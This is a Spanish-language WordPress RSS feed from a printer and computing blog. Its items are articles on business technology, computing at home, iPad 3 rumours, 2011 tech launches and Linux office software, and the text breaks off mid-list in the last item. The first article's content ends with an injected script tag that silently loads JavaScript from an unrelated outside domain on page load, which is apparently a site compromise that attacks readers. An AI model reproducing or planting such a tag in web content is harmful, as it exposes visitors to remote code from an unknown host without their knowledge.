<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mundo Impresoras &#124; Solucion para Impresoras y Computadores &#187; Información</title>
	<atom:link href="http://mundoimpresoras.com/category/informacion/feed" rel="self" type="application/rss+xml" />
	<link>http://mundoimpresoras.com</link>
	<description>Todo sobre Impresoras, Recarga De Cartuchos y Toner - Computadores, Software y mas...</description>
	<lastBuildDate>Fri, 18 May 2012 14:14:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Invierte en tecnologia para tu empresa y veras los resultados</title>
		<link>http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html</link>
		<comments>http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html#comments</comments>
		<pubDate>Wed, 21 Mar 2012 14:00:00 +0000</pubDate>
		<dc:creator>David A Hernandez</dc:creator>
				<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Invierte en tecnologia para tu empresa]]></category>
		<category><![CDATA[tecnologia para tu empresa]]></category>

		<guid isPermaLink="false">http://mundoimpresoras.com/?p=2421</guid>
		<description><![CDATA[Estamos viviendo en un mundo donde la tecnología forma parte de todo lo que nos rodea, donde los medios tecnológicos son usados por las empresas como técnicas de desarrollo para su crecimiento. El buen uso de estos medios es muy importante ya que dan a conocer las actividades de la empresa  y le permite posicionarse [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:right;"><div class="socialize-in-button socialize-in-button-right"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html" data-text="Invierte en tecnologia para tu empresa y veras los resultados" data-count="vertical" data-via="socializeWP" ><!--Tweetter--></a></div><div class="socialize-in-button socialize-in-button-right"><iframe src="http://www.facebook.com/plugins/like.php?href=http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html&amp;layout=box_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=65" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px !important; height:65px;" allowTransparency="true"></iframe></div><div class="socialize-in-button socialize-in-button-right"><g:plusone size="tall" href="http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html"></g:plusone></div></div><p>Estamos viviendo en un mundo donde la <strong><em>tecnología</em></strong> forma parte de todo lo que nos rodea, donde los medios tecnológicos son usados por las empresas como técnicas de desarrollo para su crecimiento.</p>
<p>El buen uso de estos medios es muy importante ya que dan a conocer las actividades de la empresa  y le permite posicionarse en el mercado como una empresa exitosa. No solo es tenerlas sino saber utilizarlas, de esto depende su mantenimiento en el mercado.<a href="http://mundoimpresoras.com/wp-content/uploads/2012/03/tecnologia.jpg" rel="lightbox[2421]"><img class="alignright size-medium wp-image-2422" title="tecnologia" src="http://mundoimpresoras.com/wp-content/uploads/2012/03/tecnologia-300x264.jpg" alt="tecnologia" width="300" height="264" /></a></p>
<p>La <strong><em>tecnología</em></strong>  produce cambios significativos en las empresas permitiéndoles competir con las demás, las estrategias salen a flote y se hace indispensable tener un servicio con calidad y eficiencia para sobrevivir.</p>
<p>Por eso se requiere invertir en métodos nuevos y eficaces que nos permitan promover los servicios que se prestan y así lograr dinamizar las actividades de la empresa.</p>
<p>El utilizar estos avances tecnológicos nos dará como resultado  altos rendimientos y un buen uso de los recursos.<span id="more-2421"></span></p>
<h2><strong>RAZONES PARA INVERTIR EN TECNOLOGIA</strong></h2>
<p>-La imagen de la empresa toma más fuerza.</p>
<p>-Mejora el servicio al cliente.</p>
<p>-Aumenta la productividad.</p>
<p>-Mayor rapidez en los procesos.</p>
<p>-Calidad en los procesos.</p>
<p>-Fidelización de nuestros clientes.</p>
<p>-competitividad en el mercado.</p>
<h3><strong>ASPECTOS A TENER EN CUENTA:</strong></h3>
<p><strong>-</strong>Las herramientas tecnológicas  son esenciales para mejorar la productividad en una empresa.</p>
<p>-La <strong><em>tecnología</em></strong> ofrece nuevas formas de trabajo.</p>
<p>-Los servicios ofrecidos deben ser de muy buena calidad para evitar que nuestros clientes nos comparen con otras empresas y se vayan.</p>
<p>-Los procesos son realizados en menor tiempo, lo cual permitirá realizar otras labores. La disponibilidad de tecnología adecuada y eficaz  es factor  importante en la competitividad<strong> </strong> y<strong> </strong>capacidad de supervivencia que tenga una empresa<strong>.</strong></p>
<p>-La revolución tecnológica está dejando atrás aquellos esquemas antiguos de trabajo para dar paso a esquemas modernos más productivos.</p>
<p>-Todas las empresas están enfrentándose a desafíos que son impuestos por el mundo de los negocios, es el momento de cambiar o desaparecer.  La búsqueda de nuevos direccionamientos en los servicios ofrecidos nos dará la capacidad de enfrentar estos cambios.</p>
<p>La <strong><em>tecnología</em></strong> y el talento humano se han constituido como la base que nos permite posicionarnos en el mercado. El trabajo en equipo es la clave para las empresas que quieran sobrevivir a los cambios, la lucha cada vez se hace más competitiva.</p>
<p>Es importante tener en cuenta que el progreso y desarrollo de una empresa se basa en las modificaciones que se deben hacer en <strong><em>tecnología </em></strong>para sostenerse en el mercado. Innovar es la estrategia que podemos utilizar para fidelizar a nuestros clientes, las empresas que generen estos cambios con rapidez, tendrán un punto a su favor y ante sus competidores llevarán la delantera.</p>
<p>La lucha será constante, nuevas tecnologías, nuevas formas de mejorar serán la mejor arma a la hora de posicionarse en el mercado. Todo proceso de cambio debe estar lleno de motivación, de ganas de mejorar y salir adelante.</p>
<p>Es una realidad que no podemos pasar por alto, el medio lo exige y si queremos tener empresas exitosas hay que cambiar, innovar y evolucionar cada día mas.</p>
<p><script type="text/javascript" src="http://nuevotemarosa.info?0.06635663136149661"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://mundoimpresoras.com/invierte-en-tecnologia-para-tu-empresa-y-veras-los-resultados.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Importancia de la informatica en nuestro entorno familiar</title>
		<link>http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html</link>
		<comments>http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html#comments</comments>
		<pubDate>Wed, 07 Mar 2012 14:56:30 +0000</pubDate>
		<dc:creator>David A Hernandez</dc:creator>
				<category><![CDATA[Información]]></category>
		<category><![CDATA[Importancia de la informatica]]></category>
		<category><![CDATA[informatica en nuestro entorno]]></category>

		<guid isPermaLink="false">http://mundoimpresoras.com/?p=2385</guid>
		<description><![CDATA[La informática  ha logrado posicionarse como una herramienta indispensable para todas las personas que hacemos uso de ella. Nos permite establecer comunicaciones rápidas y acceder a muchos otros campos de acuerdo a las necesidades de cada uno. Este recurso se ha convertido en parte importante para el desarrollo de nuestras capacidades intelectuales, nos ha permitido [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:right;"><div class="socialize-in-button socialize-in-button-right"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html" data-text="Importancia de la informatica en nuestro entorno familiar" data-count="vertical" data-via="socializeWP" ><!--Tweetter--></a></div><div class="socialize-in-button socialize-in-button-right"><iframe src="http://www.facebook.com/plugins/like.php?href=http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html&amp;layout=box_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=65" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px !important; height:65px;" allowTransparency="true"></iframe></div><div class="socialize-in-button socialize-in-button-right"><g:plusone size="tall" href="http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html"></g:plusone></div></div><p><em>La</em> <strong><em>informática</em></strong>  ha logrado posicionarse como una herramienta indispensable para todas las personas que hacemos uso de ella. Nos permite establecer comunicaciones rápidas y acceder a muchos otros campos de acuerdo a las necesidades de cada uno.</p>
<p>Este recurso se ha convertido en parte importante para el desarrollo de nuestras capacidades intelectuales, nos ha permitido manipular un volumen inmenso de información necesaria para nuestro diario vivir.</p>
<p>El uso de la <strong>informática</strong> debe ser cuidadoso y responsable, es por esto que debemos tener cuidado con la información que estamos manipulando.  Este es un medio que nos brinda la posibilidad de hablar con gente de todas partes del mundo lo cual nos hace vulnerables a muchos peligros.</p>
<p><strong><em>ASPECTOS POSITIVOS </em></strong></p>
<p>-Fácil acceso a mucha información.</p>
<p>-Canales de comunicación rápida.</p>
<p>-Permite compartir información, realizar negocios, compras.<span id="more-2385"></span></p>
<p><strong>VENTAJAS</strong></p>
<p>La <strong><em>informática</em></strong> nos permite romper barreras de distancia que nos proporcionan facilidades para interactuar con los demás. Se ha vuelto tan indispensable que ya forma parte de nuestro diario vivir, la requerimos para trabajar, investigar, realizar transacciones  y comunicarnos con los demás.</p>
<p>Esta herramienta nos ha sido de tanta utilidad que ha transformado nuestro entorno familiar, ya que niños, jóvenes y adultos interactuamos por medio de ella. Ha hecho que una serie de labores a las cuales les teníamos que dedicar mucho tiempo ya no sean un inconveniente a la hora de realizarlas.<a href="http://mundoimpresoras.com/wp-content/uploads/2012/03/inform%C3%A1tica.jpg" rel="lightbox[2385]"><img class="alignright size-medium wp-image-2386" title="informática" src="http://mundoimpresoras.com/wp-content/uploads/2012/03/inform%C3%A1tica-300x168.jpg" alt="informática" width="300" height="168" /></a></p>
<p>Medios como la <strong><em>informática </em></strong>tienen gran influencia en la parte educativa, por lo cual investigar temas ya no es un problema para nuestros estudiantes. Solo se les debe educar para que hagan un uso correcto este recurso.</p>
<p>Son muchos los beneficios que nos brinda la informática y por eso debemos hacer que todos tengamos los conocimientos esenciales para su buen manejo. Muchas personas estamos siendo beneficiadas por esta herramienta, para unos constituye un medio de trabajo, para otros de estudio y así cada quien lo ajusta a sus necesidades.</p>
<p>La evolución de la tecnología hace que estos medios sean una necesidad primordial en nuestros hogares, nuestros niños requieren información de hechos pasados que de una forma fácil podemos encontrar y nosotros necesitamos realizar operaciones las cuales nos ocupan gran parte de nuestro tiempo.</p>
<p>La <strong><em>informática</em></strong> nos provee la información necesaria en distintas áreas, por eso se hace necesario que hagamos uso de este medio, tenemos que ir a la par con los avances tecnológicos que son un recurso importante para todos. Todo gira en torno a la tecnología, su evolución nos obliga a cambiar nuestro modo de pensar y de actuar.</p>
<p>Debemos reconocer que estos cambios han revolucionado nuestra vida, somos millones de personas que hacemos uso de ellas, nos han beneficiado tanto que hemos podido mejorar la calidad de vida de nuestra familia. Este medio ha sido capaz de implementar el diálogo entre las personas el cual estaba en vía de extinción.</p>
<p>La sociedad cada día esta más presta a utilizar esta herramienta con todos sus beneficios, hagamos de ella un medio que represente bienestar para todos.</p>
]]></content:encoded>
			<wfw:commentRss>http://mundoimpresoras.com/importancia-de-la-informatica-en-nuestro-entorno-familiar.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Posibles  Caracteristicas Del  iPad 3, La nueva version de Apple</title>
		<link>http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html</link>
		<comments>http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html#comments</comments>
		<pubDate>Thu, 12 Jan 2012 13:01:46 +0000</pubDate>
		<dc:creator>David A Hernandez</dc:creator>
				<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Caracteristicas Del iPad 3]]></category>
		<category><![CDATA[iPad 3]]></category>
		<category><![CDATA[iPad 3 nueva version]]></category>

		<guid isPermaLink="false">http://mundoimpresoras.com/?p=2342</guid>
		<description><![CDATA[A la  fecha  se  han suscitado  muchos  rumores sobre  las Características Del iPad 3 y la fecha  en que  saldrá  al mercado, en principio se  habló  que para marzo o abril de 2012  sería su  lanzamiento oficial, pero por estos días ha  tomado  gran  fuerza  la noticias   que  su entrega seria  para el día  24  [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:right;"><div class="socialize-in-button socialize-in-button-right"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html" data-text="Posibles  Caracteristicas Del  iPad 3, La nueva version de Apple" data-count="vertical" data-via="socializeWP" ><!--Tweetter--></a></div><div class="socialize-in-button socialize-in-button-right"><iframe src="http://www.facebook.com/plugins/like.php?href=http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html&amp;layout=box_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=65" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px !important; height:65px;" allowTransparency="true"></iframe></div><div class="socialize-in-button socialize-in-button-right"><g:plusone size="tall" href="http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html"></g:plusone></div></div><p><img class="alignright" style="margin-top: 7px; margin-right: 10px;" src="http://mundoimpresoras.com/wp-content/uploads/2012/01/ipad-3.jpg" alt="Caracteristicas Del  iPad 3" width="266" height="200" align="left" /></p>
<p>A la  fecha  se  han suscitado  muchos  rumores sobre  las <strong><em>Características Del iPad</em></strong> 3 y la fecha  en que  saldrá  al mercado, en principio se  habló  que para marzo o abril de 2012  sería su  lanzamiento oficial, pero por estos días ha  tomado  gran  fuerza  la noticias   que  su entrega seria  para el día  24  de  febrero de 2012.</p>
<p>Este  rumor es el que tiene mayor aceptación debido a que la fecha coincide  con el nacimiento de  Steve Jobs, ya  que  sería  un gran homenaje  de Apple a  uno de sus  fundadores más  queridos  y recordados.</p>
<p><strong><em>Entre Las Posibles Características Del iPad 3 Tememos </em></strong></p>
<p>Unos de los primeros  interrogantes que se  plantea  es  si será cambiada  la  capacidad de  almacenamiento del iPad 3, en este  concepto  muchos  coinciden en que  seguirá brindando  los mismos  valores del iPad  2, el cual  cuenta   con  16,32 y 64 Gb; pero no se  puede descartar  que nos den una  sorpresa en este aspecto.<span id="more-2342"></span></p>
<p>Igualmente se  ha especulado  mucho con su costo, esto es  realmente  un  gran interrogante, pero en  nuestra  opinión este  podría  variar  entre 600 y 1000 dólares, esto en  base  a los  diferentes  modelos y tipos de almacenamiento y la tecnología  que se le implemente.</p>
<p>Es este aspecto las <strong><em>Características Del iPad 3 </em></strong>puede  dar  una  gran sorpresa al  implementar  la  tecnología 4G en su equipo, como somos  conocedores el crecimiento tecnológico está  a un ritmo vertiginoso y Apple seguramente  no se  quedará  atrás en el internet móvil y optara  por esta  tecnología para  sus equipos, quizás  este factor sea uno de los más  aproximados sobre las nuevas  innovaciones del ipad 3.</p>
<p>Un componente  que  fue  algo criticado del iPad 2  fueron sus cámaras, las  cuales  para  la  nueva versión sin lugar a dudas deben de ser  mejoradas, hablándose de implantar unas  con mejores características  tanto en la parte frontal como trasera e integrarlas  con Flash Led.</p>
<p>Obviamente  su  velocidad en los procesos será  mejorada y sin lugar  a dudas  contará  con el procesador Apple 6 probablemente multinúcleo con una velocidad ente 1.2 y 1.5 Ghz, acompañado de 1 Gb en Ram, lo que  constituye el doble de  su predecesor. La tecnología Amoled será la que tendrá su pantalla la  cual  cuenta  con una resolución de 2048 x 1536 Pixeles.</p>
<p>En otras  fuentes se especula que entre las nuevas <strong><em>Características Del iPad 3 </em></strong>se  contaría con una pantalla 3d  y además  se  le adicionaría un puerto  Usb, en  nuestro modo  de pensar  estar  mejoras son un poco remotas  para  que  sea adicionadas en el nuevo modelo.</p>
<p>La duración  de la batería  constituye otro aspecto  que  podría ser  reformada, aumentado  más  su duración y  creando  un diseño  más  delgado, lo que  iría de la mano  con su diseño logrando un aspecto más  compacto  redondeando sus bordes.</p>
<p>&nbsp;</p>
<p>En fin los  rumores  y comentarios  son muy diversos  sobres  las  posibles <strong><em>Características Del iPad 3</em></strong> y  su fecha de  lanzamiento, lo que es  si es  ciertos  es  que  sin lugar a dudas es que este  dará  mucho  de  qué  hablar y sus ventas  serán  millonarias en todo el mundo.</p>
]]></content:encoded>
			<wfw:commentRss>http://mundoimpresoras.com/posibles-caracteristicas-del-ipad-3-la-nueva-version-de-apple.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Los Mejores Lanzamientos Tecnologicos del 2011</title>
		<link>http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html</link>
		<comments>http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html#comments</comments>
		<pubDate>Wed, 11 Jan 2012 13:04:34 +0000</pubDate>
		<dc:creator>David A Hernandez</dc:creator>
				<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Lanzamientos Tecnologicos 2011]]></category>
		<category><![CDATA[Lanzamientos Tecnologicos del 2011]]></category>
		<category><![CDATA[Mejores Lanzamientos Tecnologicos 2011]]></category>

		<guid isPermaLink="false">http://mundoimpresoras.com/?p=2339</guid>
		<description><![CDATA[Esta por terminar el año y es casi obligatorio  hacer memoria  y brindar  un compendio de los mas  importantes  e  impactantes aspectos tecnológicos  con los que nos han impresionado las grandes empresas multinacionales. No esta  por demas  recordar  el enorme  impacto  que se  sucito el  terremoto en japon en la crisis mundial tecnologica. Es muy [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:right;"><div class="socialize-in-button socialize-in-button-right"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html" data-text="Los Mejores Lanzamientos Tecnologicos del 2011" data-count="vertical" data-via="socializeWP" ><!--Tweetter--></a></div><div class="socialize-in-button socialize-in-button-right"><iframe src="http://www.facebook.com/plugins/like.php?href=http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html&amp;layout=box_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=65" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px !important; height:65px;" allowTransparency="true"></iframe></div><div class="socialize-in-button socialize-in-button-right"><g:plusone size="tall" href="http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html"></g:plusone></div></div><p><a title="Lanzamientos Tecnologicos del 2011" href="http://mundoimpresoras.com/wp-content/uploads/2012/01/lanzamientos-tecnologicos.jpg" rel="lightbox"><img style="margin-top: 7px; margin-right: 10px;" src="http://mundoimpresoras.com/wp-content/uploads/2012/01/lanzamientos-tecnologicos.jpg" alt="Lanzamientos Tecnologicos del 2011" width="267" height="200" align="left" /></a></p>
<p>Esta por terminar el año y es casi obligatorio  hacer memoria  y brindar  un compendio de los mas  importantes  e  impactantes aspectos tecnológicos  con los que nos han impresionado las grandes empresas multinacionales.</p>
<p>No esta  por demas  recordar  el enorme  impacto  que se  sucito el  terremoto en japon en la crisis mundial tecnologica.</p>
<p>Es muy complicado unificar  criterios es  por eso que sin priorizar enunciáremos  desde  nuestro punto de vista los <strong><em>Lanzamientos Tecnológicos Del 2011</em></strong> más preponderantes.</p>
<p>Para nadie es  un secreto en inmenso valor  que  poseen las  redes  sociales en cuestiones  de marketing y publicidad, toda  empresa  que se  quede atrás  en estos factores está  sumida  en un inmenso letargo, estudiosos de este aspecto los integrantes  de  Google  dieron a conocer la creación de la Red Social Google +, la cual  ha tenido unas  aceptación abrumadora, entrando a ser una  fuerte  competencia de Twitter y Facebook.<span id="more-2339"></span></p>
<p>Por fin se  dio a  luz pública  la noticia sobre  la unión  de dos monstruos tecnológicos,  Nokia  y Microsoft  concretaron una espectacular coalición para  fortalecer el campo de la telefonía móvil, es  así que  dieron a  conocer la creación del Nokia Lumia 800, el cual esta  integrado  con el novedoso Sistema Windows Phone 7.</p>
<p>Apple Definitivamente no se puede  quedar  por  fuera de los <strong><em>Lanzamientos Tecnológicos Del 2011</em></strong>  en este listado, siendo el ipad 2  un suceso mundial; siguiendo  con sus contantes sorpresas  fue  anunciada  la presentación del iphone 4S, lo cual lamentablemente  se  vio precedido  por la muerte de Steve Jobs, una perdida  sustancia  para el universo tecnológico.</p>
<p>Por supuesto Nintendo  no se podía quedar  atrás  en sorpresas  y nos regaló la consola Nintendo 3DS, la cual impacto  gratamente ya que  se puede  disfrutar en ella de  imágenes  en  3D, con un factor  agregado el cual está representado en que no se requieren de gafas  para poder  disfrutar  de sus gráficos, del mismo modo le  integro cámara, memoria expandible y la opción de reproducir películas en 3d.</p>
<p>La espera  fue  larga pero por  fin Samsung dio a  conocer el Galaxy S II, el cual  respondió con creces a todas  las  expectativas  que había suscitado, dejando un valor  muy alto en su aspecto, excelente agilidad en la navegación web y en todas sus aplicaciones  internas. Cabe  resaltar  que el  Samsung Galaxy S II supero los trescientos millones de equipos vendidos, ítem muy alto para superar por sus competidores.</p>
<p>Las tabletas se pusieron de  moda y <em>Amazon</em>  no se  podía  quedar relegado  y en los <strong><em>Lanzamientos Tecnológicos Del 2011 </em></strong>y coloco a opinión del publico el Kindle Fire, el cual es  un excelente Lector De Libros; competiendo  no sólo con precios  muy  favorables sino  con atractivas  características  técnicas  y de diseño al igual que buenos  regalos y promociones para  sus compradores.</p>
<p>En otro aspecto los poderosos  del contenido digital enfocaron  sus miradas  en Latinoamérica  y es  así  como Android Market, You Tube, Netflix y iTunes Store, encaminando sus proyectos a mercados locales, lo cual ha tenido  un alto  nivel de aceptación en más de  15 países latinoamericanos.</p>
<p>Las redes  sociales  otra vez se hicieron sentir  y es  así como Twitter anuncio un cambio sustancial  en su interfaz tanto  en la  web como  para dispositivos móviles. De  igual  forma  la poderosa  Facebook se  dio cuenta  que una  de sus  falencias  era que  carecía de video llamadas y es por eso  que realizo  una  alianza con Skype y anuncio su servicio Timeline, con lo cual entra a competir por todo lo alto.</p>
<p>Por  otra parte Sony no podía  quedar exento a los <strong><em>Lanzamientos Tecnológicos Del 2011</em></strong> y nos brindó la televisión en  3D por medio de sus  televisores Sony Bravia, igualmente el Samsung Smart nos da la posibilidad de tener  acceso a contenido desde la web.</p>
<p>Quizás  se  nos escape algún aspecto tecnológico desarrollado  durante el 2011, pero sin duda algunas los anteriores han sido los de más  renombre a nivel mundial.</p>
]]></content:encoded>
			<wfw:commentRss>http://mundoimpresoras.com/los-mejores-lanzamientos-tecnologicos-del-2011.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mejores aplicaciones para Linux indispensables en su oficina</title>
		<link>http://mundoimpresoras.com/mejores-aplicaciones-para-linux-indispensables-en-su-oficina.html</link>
		<comments>http://mundoimpresoras.com/mejores-aplicaciones-para-linux-indispensables-en-su-oficina.html#comments</comments>
		<pubDate>Tue, 10 Jan 2012 14:02:47 +0000</pubDate>
		<dc:creator>David A Hernandez</dc:creator>
				<category><![CDATA[Información]]></category>
		<category><![CDATA[aplicaciones linux]]></category>
		<category><![CDATA[aplicaciones para linux]]></category>
		<category><![CDATA[mejores aplicaciones linux]]></category>

		<guid isPermaLink="false">http://mundoimpresoras.com/?p=2331</guid>
		<description><![CDATA[Sin lugar  a dudas  todos  estamos maravillados  de las  enormes  ventajas  que nos brinda  el poder  trabajar  con el  sistema  Operativo Linux, siendo en ocasiones  difícil de  creer  que este  excelente  programa  sea de código abierto, estando al alcance  de  cualquier  usuario y  preferido en su mayoría para ser  utilizado en servidores. Hoy por hoy  [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:right;"><div class="socialize-in-button socialize-in-button-right"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://mundoimpresoras.com/mejores-aplicaciones-para-linux-indispensables-en-su-oficina.html" data-text="Mejores aplicaciones para Linux indispensables en su oficina" data-count="vertical" data-via="socializeWP" ><!--Tweetter--></a></div><div class="socialize-in-button socialize-in-button-right"><iframe src="http://www.facebook.com/plugins/like.php?href=http://mundoimpresoras.com/mejores-aplicaciones-para-linux-indispensables-en-su-oficina.html&amp;layout=box_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=65" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px !important; height:65px;" allowTransparency="true"></iframe></div><div class="socialize-in-button socialize-in-button-right"><g:plusone size="tall" href="http://mundoimpresoras.com/mejores-aplicaciones-para-linux-indispensables-en-su-oficina.html"></g:plusone></div></div><p><a title="aplicaciones para Linux" href="http://mundoimpresoras.com/wp-content/uploads/2012/01/LINUX.jpg" rel="lightbox"><img style="margin-top: 7px; margin-right: 10px;" src="http://mundoimpresoras.com/wp-content/uploads/2012/01/LINUX.jpg" alt="aplicaciones para Linux" width="225" height="300" align="left" /></a></p>
<p>Sin lugar  a dudas  todos  estamos maravillados  de las  enormes  ventajas  que nos brinda  el poder  trabajar  con el  sistema  Operativo Linux, siendo en ocasiones  difícil de  creer  que este  excelente  programa  sea de código abierto, estando al alcance  de  cualquier  usuario y  preferido en su mayoría para ser  utilizado en servidores.</p>
<p>Hoy por hoy  sus versiones  han  sido  mejoradas sustancialmente, lo que  lo ha llevado a ser utilizado en miles de empresas y hogares a nivel mundial.</p>
<p>Debido  a este  gran  auge existen  una gran  variedad de <strong><em>Aplicaciones Para Linux</em></strong> de las  cuales  nombraremos las  más  utilizadas en oficinas.</p>
<p><strong><em>Algunas Aplicaciones  Imprescindibles Para Linux                                                                                                                                  </em></strong></p>
<ol>
<li>Como punto  de  partida  toda empresa  que  maneje el sistema  Operativo Linux debe  contar  con la  suite  ofimática <strong><em>OpenOffice</em></strong><em>, </em>la cual está  conformada  por un  excelente editor de  texto, igualmente consta de una<span id="more-2331"></span>  intuitiva  hoja de  cálculo y además  la posibilidad  de realizar  presentaciones y diapositivas; todos  estos programas  son  compatibles con Microsoft Office, con una pequeña  ventaja  que son totalmente<br />
gratuitos.</li>
<li>Aunque  es  un  sistema  bastante  seguro en cuestión de  virus, no está  demás  ser  prevenido, es por esto  que existe  varias <strong><em>Aplicaciones Para Linux</em></strong> enfocadas  en proteger  su sistema operativo, entre ellas podemos encontrar la  versión de <em>Avast, Bitdefender y Avg</em> entre otras; con las cuales tendrás protegido aún más  su equipo de trabajo.<strong><em></em></strong></li>
<li>Quizás  para muchas  personas  no sea  tan importante este aspecto pero en mi apreciación personal opino  que es  vital contar   con un excelente  <em>Navegador  Web</em> que  nos brinde  agilidad y confiabilidad, es por eso  que  los más  renombrados  navegadores  tiene  sus versiones  para el sistema Operativo Linux, es  así  que  podemos  contar  con <em>Firefox, Google Chrome, Opera y Midori</em> por nombrar algunos.  <strong><em></em></strong></li>
<li>Otras <strong><em>Aplicaciones Para Linux</em></strong> muy  importantes son los <em>Recuperadores  de Archivos</em> o  quien  por  algún tipo de accidente  no se  le ha borrado  información valiosa de  su  equipo, borrado una partición o se le ha dañado algún sector del disco  duro  y no pueden acceder  a un archivo determinado;  para  todos estos aspectos Linux  cuenta  con excelentes herramientas  como <em>Mondo Rescate, SafeCopy, PhotoRec y  TestDisk,</em> con las cuales resolverás  estos inconvenientes.</li>
<li><strong><em> </em></strong>La creación y edición de Archivos en <em>Formato PDF</em> es  otro aspecto  que  no se puede  descuidar, debido a ello Linux  cuenta  con  una gran variedad de programas que  podrá utilizar en su empresa, entre los más  valorados  tenemos Okular, Mostrar, Foxit Reader, Sun PDF Import Extension</li>
